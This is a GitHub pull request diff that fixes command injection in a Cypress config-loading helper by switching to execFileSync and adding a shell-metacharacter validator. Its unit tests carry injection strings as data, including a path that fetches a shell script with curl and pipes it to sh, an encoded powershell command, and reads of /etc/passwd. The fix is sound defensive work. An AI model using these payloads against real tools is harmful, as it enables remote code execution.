Skip to content

[APS-18613] fix: prevent command injection via cypress_config_file in loadJsFile #1080

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
avinash-bharti wants to merge 1 commit into
base: master
Choose a base branch
from
+93 −12
Open

[APS-18613] fix: prevent command injection via cypress_config_file in loadJsFile #1080

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
37 changes: 31 additions & 6 deletions bin/helpers/readCypressConfigUtil.js
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,22 @@ const constants = require("./constants");
const utils = require("./utils");
const logger = require('./logger').winstonLogger;

// Defense-in-depth: reject file paths containing shell metacharacters.
// This guards against command injection even if execFileSync is ever
// replaced with a shell-based exec in the future.
const DANGEROUS_PATH_CHARS = /[;"`$|&(){}\\]/;

function validateFilePath(filepath) {
if (DANGEROUS_PATH_CHARS.test(filepath)) {
throw new Error(
`Invalid cypress config file path: "${filepath}" contains disallowed characters. ` +
'File paths must not include shell metacharacters such as ; " ` $ | & ( ) { } \\'
);
}
}

exports.validateFilePath = validateFilePath;

exports.detectLanguage = (cypress_config_filename) => {
const extension = cypress_config_filename.split('.').pop()
return constants.CYPRESS_V10_AND_ABOVE_CONFIG_FILE_EXTENSIONS.includes(extension) ? extension : 'js'
Expand Down Expand Up @@ -186,13 +202,22 @@ exports.convertTsConfig = (bsConfig, cypress_config_filepath, bstack_node_module
}

exports.loadJsFile = (cypress_config_filepath, bstack_node_modules_path) => {
// Security: validate file path to reject shell metacharacters (defense-in-depth)
validateFilePath(cypress_config_filepath);

const require_module_helper_path = path.join(__dirname, 'requireModule.js')
let load_command = `NODE_PATH="${bstack_node_modules_path}" node "${require_module_helper_path}" "${cypress_config_filepath}"`
if (/^win/.test(process.platform)) {
load_command = `set NODE_PATH=${bstack_node_modules_path}&& node "${require_module_helper_path}" "${cypress_config_filepath}"`
}
logger.debug(`Running: ${load_command}`)
cp.execSync(load_command)

// Security fix: use execFileSync instead of execSync to avoid shell interpolation.
// execFileSync spawns the process directly without a shell, so user-controlled
// values in cypress_config_filepath cannot break out into shell commands.
const execOptions = {
env: Object.assign({}, process.env, { NODE_PATH: bstack_node_modules_path })
};
const args = [require_module_helper_path, cypress_config_filepath];

logger.debug(`Running: node ${args.map(a => '"' + a + '"').join(' ')} (via execFileSync, NODE_PATH=${bstack_node_modules_path})`);
cp.execFileSync('node', args, execOptions);

const cypress_config = JSON.parse(fs.readFileSync(config.configJsonFileName).toString())
if (fs.existsSync(config.configJsonFileName)) {
fs.unlinkSync(config.configJsonFileName)
Expand Down
68 changes: 62 additions & 6 deletions test/unit/bin/helpers/readCypressConfigUtil.js
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -40,9 +40,44 @@ describe("readCypressConfigUtil", () => {
});
});

describe('validateFilePath', () => {
it('should accept a normal file path', () => {
expect(() => readCypressConfigUtil.validateFilePath('path/to/cypress.config.js')).to.not.throw();
});

it('should accept paths with spaces', () => {
expect(() => readCypressConfigUtil.validateFilePath('path/to my project/cypress.config.js')).to.not.throw();
});

it('should reject paths with semicolons (command injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config";curl localhost:8000/shell.sh|sh;".js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with ampersands (Windows command injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config"&powershell -encodedcommand abc&".js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with backticks (subshell injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config`whoami`.js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with dollar signs (variable expansion)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config$(id).js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with pipe characters', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config|cat /etc/passwd'))
.to.throw(/disallowed characters/);
});
});

describe('loadJsFile', () => {
it('should load js file', () => {
const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string");
it('should load js file using execFileSync', () => {
const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
Expand All @@ -51,15 +86,20 @@ describe("readCypressConfigUtil", () => {
const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');

expect(result).to.eql({ e2e: {} });
sinon.assert.calledOnceWithExactly(loadCommandStub, `NODE_PATH="path/to/tmpBstackPackages" node "${requireModulePath}" "path/to/cypress.config.ts"`);
// Verify execFileSync is called with 'node' as first arg and array of args
sinon.assert.calledOnce(execFileStub);
expect(execFileStub.getCall(0).args[0]).to.eql('node');
expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
// Verify NODE_PATH is passed via env option
expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
sinon.assert.calledOnce(readFileSyncStub);
sinon.assert.calledOnce(unlinkSyncSyncStub);
sinon.assert.calledOnce(existsSyncStub);
});

it('should load js file for win', () => {
it('should load js file using execFileSync on Windows too (no platform-specific branching needed)', () => {
sinon.stub(process, 'platform').value('win32');
const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string");
const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
Expand All @@ -68,11 +108,27 @@ describe("readCypressConfigUtil", () => {
const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');

expect(result).to.eql({ e2e: {} });
sinon.assert.calledOnceWithExactly(loadCommandStub, `set NODE_PATH=path/to/tmpBstackPackages&& node "${requireModulePath}" "path/to/cypress.config.ts"`);
// Same call signature on Windows - execFileSync handles cross-platform
sinon.assert.calledOnce(execFileStub);
expect(execFileStub.getCall(0).args[0]).to.eql('node');
expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
sinon.assert.calledOnce(readFileSyncStub);
sinon.assert.calledOnce(unlinkSyncSyncStub);
sinon.assert.calledOnce(existsSyncStub);
});

it('should reject file paths containing command injection characters', () => {
const maliciousPath = 'cypress.config";curl localhost:8000/shell.sh|sh;".js';
expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
.to.throw(/disallowed characters/);
});

it('should reject Windows command injection payloads', () => {
const maliciousPath = 'cypress.config"&powershell -encodedcommand abc&".js';
expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
.to.throw(/disallowed characters/);
});
});

describe('resolveTsConfigPath', () => {
Expand Down
Loading